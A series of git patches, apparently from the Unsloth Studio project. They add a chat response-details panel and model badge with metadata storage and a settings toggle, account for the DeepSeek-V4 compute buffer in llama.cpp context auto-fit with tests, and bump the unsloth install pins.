       onOpenChange={handleOpenChange}
       variant={variant}
     >
-      <div className="flex items-center gap-2">
+      <div className="flex min-w-0 items-center gap-2">
         <ReasoningTrigger
-          className="min-w-0 flex-1"
+          className="min-w-0 flex-none"
           active={isReasoningStreaming}
           // Prefer server timing when available.
           duration={persistedDuration || duration}
         />
-        <div className="flex w-16 shrink-0 justify-end">
+        <span className="hidden min-w-0 max-w-[12rem] group-hover/assistant-message:inline-flex group-focus-within/assistant-message:inline-flex sm:max-w-[16rem]">
+          <MessageResponseModelBadge className="min-w-0" />
+        </span>
+        <div className="ml-auto flex w-16 shrink-0 justify-end">
           {isOpen && !isReasoningStreaming && (
             <ReasoningCopyButton startIndex={startIndex} endIndex={endIndex} />
           )}
diff --git a/studio/frontend/src/components/assistant-ui/thread.tsx b/studio/frontend/src/components/assistant-ui/thread.tsx
index 7fe98b701f..09551cd413 100644
--- a/studio/frontend/src/components/assistant-ui/thread.tsx
+++ b/studio/frontend/src/components/assistant-ui/thread.tsx
@@ -12,6 +12,10 @@ import {
 import { downloadImagePart } from "@/components/assistant-ui/image";
 import { MarkdownText } from "@/components/assistant-ui/markdown-text";
 import { MessageHtmlArtifacts } from "@/components/assistant-ui/message-html-artifacts";
+import {
+  MessageResponseDetailsSheet,
+  MessageResponseModelBadge,
+} from "@/components/assistant-ui/message-response-details-sheet";
 import { MessageTiming } from "@/components/assistant-ui/message-timing";
 import { Reasoning, ReasoningGroup } from "@/components/assistant-ui/reasoning";
 import { RagSourcesGroup } from "@/components/assistant-ui/rag-sources";
@@ -3564,6 +3568,9 @@ const AssistantMessage: FC = () => {
   const aui = useAui();
   const messageId = useAuiState(({ message }) => message.id);
   const messageContent = useAuiState(({ message }) => message.content);
+  const hasReasoningParts = useAuiState(({ message }) =>
+    message.parts.some((part) => part.type === "reasoning"),
+  );
   const incognito = useChatRuntimeStore((s) => s.incognito);
 
   // Use global store for editing state to ensure a single source of truth
@@ -3620,7 +3627,7 @@ const AssistantMessage: FC = () => {
 
   return (
     <MessagePrimitive.Root
-      className="aui-assistant-message-root relative mx-auto min-w-0 w-full max-w-(--thread-content-max-width) pt-0.5 pb-4 text-[15.5px] [font-weight:410] tracking-[0.01em] dark:tracking-[0.02em]"
+      className="group/assistant-message aui-assistant-message-root relative mx-auto min-w-0 w-full max-w-(--thread-content-max-width) pt-0.5 pb-4 text-[15.5px] [font-weight:410] tracking-[0.01em] dark:tracking-[0.02em]"
       data-role="assistant"
     >
       <div className="aui-assistant-message-content wrap-break-word min-w-0 text-[#0d0d0d] dark:text-foreground leading-relaxed">
@@ -3649,6 +3656,11 @@ const AssistantMessage: FC = () => {
           </div>
         ) : (
           <>
+            {!hasReasoningParts ? (
+              <div className="pointer-events-none relative h-0 min-w-0">
+                <MessageResponseModelBadge className="absolute -top-6 left-0 max-w-[min(22rem,100%)]" />
+              </div>
+            ) : null}
             <GeneratingIndicator />
             <CancelledIndicator />
             <DiffusionCanvas />
@@ -3893,58 +3905,76 @@ const EditAssistantMessageButton: FC = () => {
 
 const AssistantActionBar: FC = () => {
   const { forkMessage, forkDisabled } = useForkMessageAction();
+  const [detailsOpen, setDetailsOpen] = useState(false);
 
   return (
-    <ActionBarPrimitive.Root
-      hideWhenRunning={true}
-      className="aui-assistant-action-bar-root col-start-3 row-start-2 flex items-center gap-1 text-chat-icon-fg [&_button:not([data-slot=message-timing-trigger])]:size-8 [&_button]:!rounded-full [&_button:hover]:bg-chat-icon-bg-hover [&_button:hover]:text-chat-icon-fg-hover"
-    >
-      <CopyButton />
-      <EditAssistantMessageButton />
-      <ActionBarPrimitive.Reload asChild={true}>
-        <TooltipIconButton tooltip="Refresh">
-          <RefreshCwIcon strokeWidth={1.75} className="size-icon" />
-        </TooltipIconButton>
-      </ActionBarPrimitive.Reload>
-      <ForkCountBadge />
-      <DeleteMessageButton />
-      <ActionBarMorePrimitive.Root>
-        <ActionBarMorePrimitive.Trigger asChild={true}>
-          <TooltipIconButton
-            tooltip="More"
-            className="data-[state=open]:bg-accent"
-          >
-            <MoreHorizontalIcon strokeWidth={1.75} className="size-icon" />
+    <>
+      <ActionBarPrimitive.Root
+        hideWhenRunning={true}
+        className="aui-assistant-action-bar-root col-start-3 row-start-2 flex items-center gap-1 text-chat-icon-fg [&_button:not([data-slot=message-timing-trigger])]:size-8 [&_button]:!rounded-full [&_button:hover]:bg-chat-icon-bg-hover [&_button:hover]:text-chat-icon-fg-hover"
+      >
+        <CopyButton />
+        <EditAssistantMessageButton />
+        <ActionBarPrimitive.Reload asChild={true}>
+          <TooltipIconButton tooltip="Refresh">
+            <RefreshCwIcon strokeWidth={1.75} className="size-icon" />
           </TooltipIconButton>
-        </ActionBarMorePrimitive.Trigger>
-        <ActionBarMorePrimitive.Content
-          side="bottom"
-          align="start"
-          onCloseAutoFocus={(e) => e.preventDefault()}
-          className="aui-action-bar-more-content z-50 min-w-32 overflow-hidden rounded-[21px] bg-popover px-[9px] py-2 text-popover-foreground shadow-[0_2px_8px_-2px_rgba(0,0,0,0.16)] dark:shadow-none"
-        >
-          <ActionBarMorePrimitive.Item
-            disabled={forkDisabled}
-            onSelect={() => void forkMessage()}
-            className="aui-action-bar-more-item flex cursor-pointer select-none items-center gap-2 rounded-[12px] px-3 py-2 text-sm outline-none hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50"
+        </ActionBarPrimitive.Reload>
+        <ForkCountBadge />
+        <DeleteMessageButton />
+        <ActionBarMorePrimitive.Root>
+          <ActionBarMorePrimitive.Trigger asChild={true}>
+            <TooltipIconButton
+              tooltip="More"
+              className="data-[state=open]:bg-accent"
+            >
+              <MoreHorizontalIcon strokeWidth={1.75} className="size-icon" />
+            </TooltipIconButton>
+          </ActionBarMorePrimitive.Trigger>
+          <ActionBarMorePrimitive.Content
+            side="bottom"
+            align="start"
+            onCloseAutoFocus={(e) => e.preventDefault()}
+            className="aui-action-bar-more-content z-50 min-w-32 overflow-hidden rounded-[21px] bg-popover px-[9px] py-2 text-popover-foreground shadow-[0_2px_8px_-2px_rgba(0,0,0,0.16)] dark:shadow-none"
           >
-            <GitBranchIcon strokeWidth={1.75} className="size-icon" />
-            Fork in new chat
-          </ActionBarMorePrimitive.Item>
-          <ActionBarPrimitive.ExportMarkdown asChild={true}>
-            <ActionBarMorePrimitive.Item className="aui-action-bar-more-item flex cursor-pointer select-none items-center gap-2 rounded-[12px] px-3 py-2 text-sm outline-none hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground">
+            <ActionBarMorePrimitive.Item
+              disabled={forkDisabled}
+              onSelect={() => void forkMessage()}
+              className="aui-action-bar-more-item flex cursor-pointer select-none items-center gap-2 rounded-[12px] px-3 py-2 text-sm outline-none hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50"
+            >
+              <GitBranchIcon strokeWidth={1.75} className="size-icon" />
+              Fork in new chat
+            </ActionBarMorePrimitive.Item>
+            <ActionBarPrimitive.ExportMarkdown asChild={true}>
+              <ActionBarMorePrimitive.Item className="aui-action-bar-more-item flex cursor-pointer select-none items-center gap-2 rounded-[12px] px-3 py-2 text-sm outline-none hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground">
+                <HugeiconsIcon
+                  icon={Download01Icon}
+                  strokeWidth={1.75}
+                  className="size-icon"
+                />
+                Export as Markdown
+              </ActionBarMorePrimitive.Item>
+            </ActionBarPrimitive.ExportMarkdown>
+            <ActionBarMorePrimitive.Item
+              onSelect={() => setDetailsOpen(true)}
+              className="aui-action-bar-more-item flex cursor-pointer select-none items-center gap-2 rounded-[12px] px-3 py-2 text-sm outline-none hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground"
+            >
               <HugeiconsIcon
-                icon={Download01Icon}
+                icon={FileDatabaseIcon}
                 strokeWidth={1.75}
                 className="size-icon"
               />
-              Export as Markdown
+              See response details
             </ActionBarMorePrimitive.Item>
-          </ActionBarPrimitive.ExportMarkdown>
-        </ActionBarMorePrimitive.Content>
-      </ActionBarMorePrimitive.Root>
-      <MessageTiming side="top" className="h-8 px-2" />
-    </ActionBarPrimitive.Root>
+          </ActionBarMorePrimitive.Content>
+        </ActionBarMorePrimitive.Root>
+        <MessageTiming side="top" className="h-8 px-2" />
+      </ActionBarPrimitive.Root>
+      <MessageResponseDetailsSheet
+        open={detailsOpen}
+        onOpenChange={setDetailsOpen}
+      />
+    </>
   );
 };
 
diff --git a/studio/frontend/src/features/chat/api/chat-adapter.ts b/studio/frontend/src/features/chat/api/chat-adapter.ts
index df266fd749..2ca6ceddf7 100644
--- a/studio/frontend/src/features/chat/api/chat-adapter.ts
+++ b/studio/frontend/src/features/chat/api/chat-adapter.ts
@@ -140,6 +140,32 @@ interface ServerTimings {
   diffusion_steps_per_second?: number;
 }
 
+interface ResponseDetailsMetadata {
+  modelId: string;
+  modelLabel: string;
+  responseModelId: string;
+  providerId?: string;
+  providerName: string;
+  providerType: string;
+  startedAt: number;
+  finishedAt: number;
+  durationMs: number;
+  sessionId?: string;
+  cancelId: string;
+  toolCalls: string[];
+  tools: {
+    search: boolean;
+    fetch: boolean;
+    code: boolean;
+    images: boolean;
+    mcp: boolean;
+    docs: boolean;
+    artifacts: boolean;
+    confirmToolCalls: boolean;
+    bypassPermissions: boolean;
+  };
+}
+
 type RunMessages = Parameters<ChatModelAdapter["run"]>[0]["messages"];
 type RunMessage = RunMessages[number];
 
@@ -1769,6 +1795,9 @@ export function createOpenAIStreamAdapter(
             (provider) => provider.id === externalSelection.providerId,
           )
         : null;
+      const selectedModelSummary = runtime.models.find(
+        (model) => model.id === params.checkpoint,
+      );
       const externalApiKey = externalProvider
         ? getExternalProviderApiKey(externalProvider.id).trim()
         : "";
@@ -2151,6 +2180,7 @@ export function createOpenAIStreamAdapter(
       let waitingFirstChunk = true;
       let firstTokenSettled = false;
       const streamStartTime = Date.now();
+      let responseModelId = externalSelection?.modelId ?? params.checkpoint;
       let firstTokenTime: number | undefined;
       let totalChunks = 0;
       let resolveFirstToken: (() => void) | null = null;
@@ -2372,6 +2402,59 @@ export function createOpenAIStreamAdapter(
         const externalBackendProviderType = toExternalBackendProviderType(
           externalProvider?.providerType,
         );
+        const buildResponseDetails = (
+          finishedAt: number,
+        ): ResponseDetailsMetadata => ({
+          modelId: params.checkpoint,
+          modelLabel:
+            (isExternalRequest || responseModelId !== params.checkpoint
+              ? responseModelId
+              : selectedModelSummary?.name || responseModelId) ||
+            params.checkpoint ||
+            "Unknown model",
+          responseModelId:
+            responseModelId ||
+            externalSelection?.modelId ||
+            params.checkpoint,
+          ...(externalProvider?.id ? { providerId: externalProvider.id } : {}),
+          providerName:
+            externalProvider?.name ??
+            (isExternalRequest ? "External provider" : "Local model"),
+          providerType: externalProvider?.providerType ?? "local",
+          startedAt: streamStartTime,
+          finishedAt,
+          durationMs: finishedAt - streamStartTime,
+          ...(sandboxSessionId ? { sessionId: sandboxSessionId } : {}),
+          cancelId,
+          toolCalls: Array.from(
+            new Set(
+              toolCallParts
+                .map((part) => part.toolName)
+                .filter(
+                  (toolName): toolName is string =>
+                    typeof toolName === "string" && toolName.length > 0,
+                ),
+            ),
+          ),
+          tools: {
+            search:
+              webSearchEnabledForThisTurn ||
+              (!isExternalRequest && supportsTools && toolsEnabled),
+            fetch: webFetchEnabledForThisTurn,
+            code:
+              codeExecEnabledForThisTurn ||
+              (!isExternalRequest && supportsTools && codeToolsEnabled),
+            images: imageGenerationEnabledForThisTurn,
+            mcp: !isExternalRequest && supportsTools && mcpEnabledForChat,
+            docs:
+              !isExternalRequest &&
+              supportsTools &&
+              (ragEnabled || projectRagEnabled),
+            artifacts: renderHtmlToolEnabledForThisTurn,
+            confirmToolCalls,
+            bypassPermissions,
+          },
+        });
         const externalCapabilities = getProviderCapabilities(
           externalProvider?.providerType,
         );
@@ -2768,6 +2851,11 @@ export function createOpenAIStreamAdapter(
             const stream = streamChatCompletions(requestPayload, abortSignal);
 
             for await (const chunk of stream) {
+              const chunkModel = (chunk as { model?: unknown }).model;
+              if (typeof chunkModel === "string" && chunkModel.length > 0) {
+                responseModelId = chunkModel;
+              }
+
               // Handle tool status events
               const toolStatusText = (
                 chunk as unknown as { _toolStatus?: string }
@@ -3435,11 +3523,12 @@ export function createOpenAIStreamAdapter(
           });
         }
 
+        const finishedAt = Date.now();
         const finalTiming = buildTiming(
           streamStartTime,
           totalChunks,
           serverPromptEvalTime ?? firstTokenTime,
-          Date.now() - streamStartTime,
+          finishedAt - streamStartTime,
           finalTokenCount,
           toolCallParts.length,
           finalTokPerSec,
@@ -3475,6 +3564,7 @@ export function createOpenAIStreamAdapter(
                     modelId: params.checkpoint,
                   }
                 : undefined,
+              responseDetails: buildResponseDetails(finishedAt),
               timing: finalTiming,
             },
           },
diff --git a/studio/frontend/src/features/chat/index.ts b/studio/frontend/src/features/chat/index.ts
index 75749b0040..7cd9611c71 100644
--- a/studio/frontend/src/features/chat/index.ts
+++ b/studio/frontend/src/features/chat/index.ts
@@ -26,7 +26,12 @@ export {
   type PlusMenuItemId,
 } from "./stores/plus-menu-prefs-store";
 export { useChatModelRuntime } from "./hooks/use-chat-model-runtime";
-export { isExternalModelId } from "./external-providers";
+export {
+  customProviderDisplayName,
+  isExternalModelId,
+  parseExternalModelId,
+} from "./external-providers";
+export { useExternalProvidersStore } from "./stores/external-providers-store";
 export { ChatSearchDialog } from "./components/chat-search-dialog";
 export { setTrainingCompareHandoff } from "./lib/training-compare-handoff";
 export type { ProjectRecord } from "./types";
diff --git a/studio/frontend/src/features/chat/stores/chat-preferences-store.ts b/studio/frontend/src/features/chat/stores/chat-preferences-store.ts
index f019b7dc3d..5b5011a78f 100644
--- a/studio/frontend/src/features/chat/stores/chat-preferences-store.ts
+++ b/studio/frontend/src/features/chat/stores/chat-preferences-store.ts
@@ -7,11 +7,14 @@ import { persist } from "zustand/middleware";
 // Client-side chat UI prefs kept in localStorage, not the chat DB.
 // confirmDeleteChats: when off, deleting a chat skips the confirm dialog.
 // showModelDisclaimer: when off, hide the "LLMs can make mistakes" footer note.
+// showResponseModel: when on, assistant responses show the producing model.
 export interface ChatPreferencesState {
   confirmDeleteChats: boolean;
   setConfirmDeleteChats: (value: boolean) => void;
   showModelDisclaimer: boolean;
   setShowModelDisclaimer: (value: boolean) => void;
+  showResponseModel: boolean;
+  setShowResponseModel: (value: boolean) => void;
 }
 
 export const useChatPreferencesStore = create<ChatPreferencesState>()(
@@ -23,6 +26,9 @@ export const useChatPreferencesStore = create<ChatPreferencesState>()(
       showModelDisclaimer: true,
       setShowModelDisclaimer: (showModelDisclaimer) =>
         set({ showModelDisclaimer }),
+      showResponseModel: false,
+      setShowResponseModel: (showResponseModel) =>
+        set({ showResponseModel }),
     }),
     {
       name: "unsloth_chat_preferences",
@@ -32,6 +38,7 @@ export const useChatPreferencesStore = create<ChatPreferencesState>()(
           ...current,
           confirmDeleteChats: saved?.confirmDeleteChats ?? true,
           showModelDisclaimer: saved?.showModelDisclaimer ?? true,
+          showResponseModel: saved?.showResponseModel ?? false,
         };
       },
     },
diff --git a/studio/frontend/src/features/settings/tabs/chat-tab.tsx b/studio/frontend/src/features/settings/tabs/chat-tab.tsx
index b26b09e022..9519898b21 100644
--- a/studio/frontend/src/features/settings/tabs/chat-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/chat-tab.tsx
@@ -213,6 +213,12 @@ export function ChatTab() {
   const setShowModelDisclaimer = useChatPreferencesStore(
     (state) => state.setShowModelDisclaimer,
   );
+  const showResponseModel = useChatPreferencesStore(
+    (state) => state.showResponseModel,
+  );
+  const setShowResponseModel = useChatPreferencesStore(
+    (state) => state.setShowResponseModel,
+  );
 
   useEffect(() => {
     void countAllChats().then(setCount);
@@ -412,6 +418,15 @@ export function ChatTab() {
             onCheckedChange={setShowModelDisclaimer}
           />
         </SettingsRow>
+        <SettingsRow
+          label="Show response model"
+          description="Show model metadata in assistant responses."
+        >
+          <Switch
+            checked={showResponseModel}
+            onCheckedChange={setShowResponseModel}
+          />
+        </SettingsRow>
       </SettingsSection>
 
       <SettingsSection title={t("settings.chat.artifacts.title")}>
diff --git a/tests/studio/test_chat_response_details_ui_contract.py b/tests/studio/test_chat_response_details_ui_contract.py
new file mode 100644
index 0000000000..04301a0de6
--- /dev/null
+++ b/tests/studio/test_chat_response_details_ui_contract.py
@@ -0,0 +1,93 @@
+"""Static contract for the chat response-details action and metadata."""
+
+from __future__ import annotations
+
+import re
+from pathlib import Path
+
+REPO = Path(__file__).resolve().parents[2]
+THREAD_TSX = REPO / "studio/frontend/src/components/assistant-ui/thread.tsx"
+DETAILS_TSX = (
+    REPO / "studio/frontend/src/components/assistant-ui/message-response-details-sheet.tsx"
+)
+REASONING_TSX = REPO / "studio/frontend/src/components/assistant-ui/reasoning.tsx"
+ADAPTER_TS = REPO / "studio/frontend/src/features/chat/api/chat-adapter.ts"
+CHAT_PREFS_TS = REPO / "studio/frontend/src/features/chat/stores/chat-preferences-store.ts"
+CHAT_TAB_TSX = REPO / "studio/frontend/src/features/settings/tabs/chat-tab.tsx"
+
+
+def test_assistant_more_menu_exposes_response_details_action():
+    src = THREAD_TSX.read_text()
+    assert "MessageResponseDetailsSheet" in src
+    assert "See response details" in src
+    assert "setDetailsOpen(true)" in src
+
+
+def test_response_details_sheet_uses_unsloth_sheet_and_key_sections():
+    src = DETAILS_TSX.read_text()
+    assert "SheetContent" in src
+    assert "Response details" in src
+    assert "MessageResponseModelBadge" in src
+    assert "showResponseModel" in src
+    assert "ChipIcon" not in src
+    assert "s.params.checkpoint" not in src
+    assert "Not recorded" in src
+    assert "min-w-0 break-words font-heading" in src
+    assert "toolCallsFromContent(message.content)" in src
+    assert 'label="Called"' in src
+    for section in ["Response", "Tokens", "Timing", "Tools"]:
+        assert f'title="{section}"' in src
+    for field in ["Model", "Provider", "Total", "Cache hits", "Enabled", "Called"]:
+        assert f'label="{field}"' in src
+
+
+def test_response_model_chip_is_user_configurable_and_rendered_in_metadata_rows():
+    prefs_src = CHAT_PREFS_TS.read_text()
+    chat_tab_src = CHAT_TAB_TSX.read_text()
+    thread_src = THREAD_TSX.read_text()
+    reasoning_src = REASONING_TSX.read_text()
+
+    assert "showResponseModel: boolean" in prefs_src
+    assert "showResponseModel: false" in prefs_src
+    assert "showResponseModel: saved?.showResponseModel ?? false" in prefs_src
+    assert "Show response model" in chat_tab_src
+    assert "setShowResponseModel" in chat_tab_src
+    assert "aui-response-model-badge inline-flex min-h-5" in DETAILS_TSX.read_text()
+    assert "leading-5" in DETAILS_TSX.read_text()
+    assert "group-hover/assistant-message:opacity-100" in DETAILS_TSX.read_text()
+    assert "MessageResponseModelBadge" in thread_src
+    assert "hasReasoningParts" in thread_src
+    assert "group/assistant-message aui-assistant-message-root" in thread_src
+    assert "pointer-events-none relative h-0" in thread_src
+    assert "MessageResponseModelBadge" in reasoning_src
+    assert 'className="min-w-0 flex-none"' in reasoning_src
+    assert "hidden min-w-0 max-w-[12rem]" in reasoning_src
+    assert "group-hover/assistant-message:inline-flex" in reasoning_src
+
+
+def test_response_details_metadata_is_persisted_without_backend_schema_change():
+    src = ADAPTER_TS.read_text()
+    assert "interface ResponseDetailsMetadata" in src
+    assert "buildResponseDetails" in src
+    assert "responseDetails: buildResponseDetails(finishedAt)" in src
+    assert "toolCalls: Array.from(" in src
+    assert "!isExternalRequest && supportsTools && toolsEnabled" in src
+    assert "!isExternalRequest && supportsTools && codeToolsEnabled" in src
+    assert re.search(r"selectedModelSummary\?\.name\s*\|\|\s*responseModelId", src)
+    assert "providerName" in src
+    assert "cancelId" in src
+    metadata_block = src[
+        src.find("interface ResponseDetailsMetadata") : src.find("type RunMessages")
+    ]
+    builder_block = src[
+        src.find("const buildResponseDetails") : src.find("const externalCapabilities")
+    ]
+    for forbidden in [
+        "encrypted_api_key",
+        "externalApiKey",
+        "apiKey",
+        "providerKey",
+        "secret",
+    ]:
+        assert forbidden not in metadata_block
+        assert forbidden not in builder_block

From 8efcc17f476c21dd6f5534ce719b014d7e6a1e4c Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 7 Jul 2026 07:20:31 -0700
Subject: [PATCH 238/306] Studio: account for DeepSeek-V4 compute buffer in
 context auto-fit (#6940)

* Studio: account for DeepSeek-V4 compute buffer in context auto-fit

DeepSeek-V4-Flash's lightning indexer plus compressed sparse attention reserve a
large context-scaling compute buffer that _compute_buffer_ctx_bytes did not model
(the KQ-mask and dequant-scratch rates both miss it, even with an f16 cache).
Measured on UD-Q4_K_XL at ub 512 it is about 65.5 GiB at 1M context, which the
mask estimate puts near 1.5 GiB, so the auto-fit kept the full 1M train context
and llama-server OOM'd allocating the ~70 GB buffer, then spilled to CPU (~4
tok/s). Add a deepseek4-gated flat plus per-token term so the fit caps the context
(about 256k on a B200) and the model stays fully on GPU.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/inference/llama_cpp.py  | 14 +++++
 studio/backend/tests/test_compute_buffer.py | 61 +++++++++++++++++++++
 2 files changed, 75 insertions(+)

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 8b40f5fccd..11a4ebb3ec 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -3143,6 +3143,12 @@ class LlamaCppBackend:
     _CTX_COMPUTE_BYTES_PER_EMBD = 2.25  # quantized KV, regular attention (dequant scratch)
     _CTX_COMPUTE_BYTES_PER_EMBD_MLA = 1.25  # quantized KV, MLA (compressed attn: measured 0.94x)
     _CTX_COMPUTE_F16_MASK_SAFETY = 1.5  # f16/bf16/f32 KV: KQ mask only (n_ubatch*2 B/tok)
+    # DeepSeek-V4 (deepseek4): its lightning indexer + sparse attention reserve a large
+    # context-scaling compute buffer the rates above miss (present even with an f16
+    # cache). Measured on UD-Q4_K_XL (ub=512): ~2 GiB at 16k -> ~65.5 GiB at 1M. Without
+    # it auto-fit commits the full 1M train context, OOMs the reserve, and spills to CPU.
+    _DSV4_CTX_COMPUTE_FLAT_BYTES = 2 * 1024**3  # ctx-independent indexer scratch
+    _DSV4_CTX_COMPUTE_BYTES_PER_TOK = 72000  # per token at ub=512 (~72 GiB at 1M)
 
     def _estimate_compute_buffer_bytes(
         self,
@@ -3192,6 +3198,14 @@ class LlamaCppBackend:
         if n_embd <= 0 or n_ctx <= 0:
             return 0
         ub = max(1, int(n_ubatch if n_ubatch else self._DEFAULT_N_UBATCH))
+        if getattr(self, "_architecture", None) == "deepseek4":
+            # DSV4 indexer/CSA buffer (see constants): flat + linear, ub-scaled. Fires
+            # for any KV type -- the indexer scratch is present even with an f16 cache.
+            ub_scale = ub / self._DEFAULT_N_UBATCH
+            return int(
+                self._DSV4_CTX_COMPUTE_FLAT_BYTES
+                + self._DSV4_CTX_COMPUTE_BYTES_PER_TOK * n_ctx * ub_scale
+            )
         if _kv_bytes_per_elem(cache_type_kv) < 2.0:
             # Quantized cache: the dequant scratch dominates and scales with n_embd.
             # MLA (compressed KV) needs far less of it: measured 0.94 x n_embd on
diff --git a/studio/backend/tests/test_compute_buffer.py b/studio/backend/tests/test_compute_buffer.py
index 5d14c5c5bd..8408f8203d 100644
--- a/studio/backend/tests/test_compute_buffer.py
+++ b/studio/backend/tests/test_compute_buffer.py
@@ -65,12 +65,14 @@ def _backend(
     vocab = 248320,
     embd = 5120,
     mla = None,
+    arch = None,
 ):
     """Backend with just the dims the compute-buffer estimate reads."""
     b = LlamaCppBackend.__new__(LlamaCppBackend)
     b._vocab_size = vocab
     b._embedding_length = embd
     b._key_length_mla = mla  # non-None -> MLA (compressed attention)
+    b._architecture = arch  # GGUF general.architecture (e.g. 'deepseek4')
     return b
 
 
@@ -290,3 +292,62 @@ class TestContextBufferMLA:
         b = _backend(embd = 6144, mla = 256)
         est = b._compute_buffer_ctx_bytes(754688, cache_type_kv = "q8_0") / MIB
         assert est <= 4141 * 1.7
+
+
+class TestContextBufferDSV4:
+    """DeepSeek-V4 (deepseek4) reserves a large lightning-indexer / sparse-attention
+    compute buffer the KQ-mask and MLA rates miss (present even with an f16 cache).
+    Measured on UD-Q4_K_XL (ub=512): ~2 GiB at 16k ctx, ~65.5 GiB at 1M. The auto-fit
+    must see this so it does not commit the full 1M train context and OOM (spilling
+    to CPU at ~4 tok/s)."""
+
+    _MEASURED_1M_GIB = 65.5  # 70353790464 B compute-graph reserve that OOM'd at 1M ctx
+    GIB = 1024**3
+
+    def test_covers_measured_1m_buffer(self):
+        b = _backend(embd = 4096, arch = "deepseek4")
+        gib = b._compute_buffer_ctx_bytes(1048576, cache_type_kv = "f16") / self.GIB
+        assert gib >= self._MEASURED_1M_GIB, f"under-reserved {gib:.1f} < {self._MEASURED_1M_GIB}"
+
+    def test_not_wildly_over_at_1m(self):
+        # Within ~1.3x of measured so the fit still grants a large (~256k) context.
+        b = _backend(embd = 4096, arch = "deepseek4")
+        gib = b._compute_buffer_ctx_bytes(1048576, cache_type_kv = "f16") / self.GIB
+        assert gib <= self._MEASURED_1M_GIB * 1.3
+
+    def test_fires_for_f16_cache(self):
+        # The bug: an f16 (default) cache took the tiny mask-only path. DSV4 must
+        # reserve GiB, not the ~MiB a non-DSV4 model reserves at the same ctx.
+        dsv4 = _backend(embd = 4096, arch = "deepseek4")._compute_buffer_ctx_bytes(
+            262144, cache_type_kv = "f16"
+        )
+        other = _backend(embd = 4096, arch = "qwen3")._compute_buffer_ctx_bytes(
+            262144, cache_type_kv = "f16"
+        )
+        assert dsv4 > 40 * other
+
+    def test_cache_type_independent(self):
+        # Indexer scratch is present for an f16 and a quantized cache alike.
+        b = _backend(embd = 4096, arch = "deepseek4")
+        assert b._compute_buffer_ctx_bytes(
+            262144, cache_type_kv = "f16"
+        ) == b._compute_buffer_ctx_bytes(262144, cache_type_kv = "q8_0")
+
+    def test_flat_floor_at_small_ctx(self):
+        # ~2 GiB indexer scratch present even at tiny ctx (covers the measured 16k ~2 GiB).
+        b = _backend(embd = 4096, arch = "deepseek4")
+        assert b._compute_buffer_ctx_bytes(16384, cache_type_kv = "f16") / self.GIB >= 2.0
+
+    def test_scales_with_context_and_ubatch(self):
+        b = _backend(embd = 4096, arch = "deepseek4")
+        assert b._compute_buffer_ctx_bytes(131072) > b._compute_buffer_ctx_bytes(65536)
+        assert b._compute_buffer_ctx_bytes(131072, n_ubatch = 1024) > b._compute_buffer_ctx_bytes(
+            131072, n_ubatch = 256
+        )
+
+    def test_non_dsv4_unchanged(self):
+        # Regression guard: a non-deepseek4 model keeps the mask-only f16 rate.
+        b = _backend(embd = 4096, arch = "llama")
+        per_tok = b._compute_buffer_ctx_bytes(100000, cache_type_kv = "f16") / 100000
+        expected = 512 * 2 * LlamaCppBackend._CTX_COMPUTE_F16_MASK_SAFETY
+        assert per_tok == pytest.approx(expected, rel = 1e-6)

From 37075c542258e87bb556f6ed7496ea88a818c3b6 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 7 Jul 2026 07:49:59 -0700
Subject: [PATCH 239/306] Bump install.sh / install.ps1 pin to
 unsloth>=2026.7.1 (#6943)

Co-authored-by: danielhanchen <unslothai@gmail.com>
---
 install.ps1 | 10 +++++-----
 install.sh  | 10 +++++-----
 2 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/install.ps1 b/install.ps1
index 8c667df079..9114f80af9 100644
--- a/install.ps1
+++ b/install.ps1
@@ -2155,7 +2155,7 @@ exit 0
         if ($SkipTorch) {
             # No-torch: install unsloth + unsloth-zoo with --no-deps, then
             # runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.7.1" "unsloth-zoo>=2026.7.1" }
             if ($baseInstallExit -eq 0) {
                 # Resolve pydantic WITH deps so pip pins pydantic-core
                 # to the matching version (no-torch-runtime.txt below
@@ -2169,7 +2169,7 @@ exit 0
                 }
             }
         } else {
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.7.1" "unsloth-zoo>=2026.7.1" }
         }
         if ($baseInstallExit -ne 0) {
             Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red
@@ -2235,7 +2235,7 @@ exit 0
         if ($SkipTorch) {
             # No-torch: install unsloth + unsloth-zoo with --no-deps, then
             # runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
